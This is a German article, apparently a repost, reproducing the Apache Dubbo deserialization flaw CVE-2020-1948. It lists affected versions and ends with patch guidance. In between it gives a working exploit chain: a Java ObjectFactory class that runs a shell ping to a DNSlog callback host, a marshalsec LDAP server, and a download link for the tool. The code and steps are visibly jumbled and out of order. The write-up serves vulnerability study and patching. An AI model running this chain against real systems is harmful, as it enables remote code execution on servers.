Heim  >  Artikel  >  Betrieb und Instandhaltung  >  So analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo

So analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo

WBOY
WBOYnach vorne
2023-05-17 16:01:221051Durchsuche

Einführung

Dubbo ist ein leistungsstarkes und exzellentes Service-Framework von Alibaba, das es Anwendungen ermöglicht, Service-Ausgabe- und Eingabefunktionen über Hochleistungs-RPC zu realisieren, und das nahtlos in das Spring-Framework integriert werden kann. Das System verfügt über drei Kernfunktionen, darunter den Aufruf von Remote-Schnittstellenmethoden, intelligente Fehlertoleranz und Lastausgleich sowie die automatische Registrierung und Erkennung von Diensten.

Übersicht

Am 23. Juni 2020 veröffentlichte Apache Dubbo offiziell einen Risikohinweis für die Remotecodeausführung von Apache Dubbo. Die Schwachstellennummer lautet CVE-2020-1948 und die Schwachstellenstufe ist: hohes Risiko. Apache Dubbo ist ein leistungsstarkes, leichtes Open-Source-Java-RPC-Framework, das drei Kernfunktionen bietet: schnittstellenorientierter Remote-Methodenaufruf, intelligente Fehlertoleranz und Lastausgleich sowie automatische Dienstregistrierung und -erkennung. Der Apache Dubbo Provider weist eine Deserialisierungsschwachstelle auf. Ein Angreifer kann über RPC-Anfragen unbekannte Dienstnamen oder Methodennamen und einige schädliche Parameter-Payloads senden.

Betroffene Versionen

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (offiziell nicht mehr gewartet)

Umgebungseinrichtung

Die JDK-Versionen der Laufumgebung und der Kompilierungs-Exp-Umgebung sind beide 8u121 , Starten Sie die Testumgebung

java -jar dubbo.jar


Nach dem Start wird Port 12345 abgehört kann ausgeführt werden und ein neues calc.java erstellen,

PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd

Poc kompilieren

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}

Legen Sie den kompilierten POC (calc.class) in das Web-Website-Verzeichnis, um sicherzustellen, dass der anfällige Host darauf zugreifen kann. Verwenden Sie das Marshalsec-Projekt, um einen LDAP-Proxy-Dienst zu starten und Marshalsec herunterzuladen:


Starten Sie den LDAP-Proxy-Dienst und der LDAP-Dienst überwacht Port 8086


javac calc.java


Führen Sie den Test aus Skript. DNSlog-Ansicht, Anfrage erfolgreich empfangen

LDAP-Dienst kann auch die Anfrageweiterleitung sehen


Bombenrechner

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar

Fehlerbehebung

Upgrade auf Version 2.7.7 und Durchführung der Parameterüberprüfung gemäß der Methode des folgenden Links

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

Ersatzprotokoll und Deserialisierungsmethode.

Das obige ist der detaillierte Inhalt vonSo analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen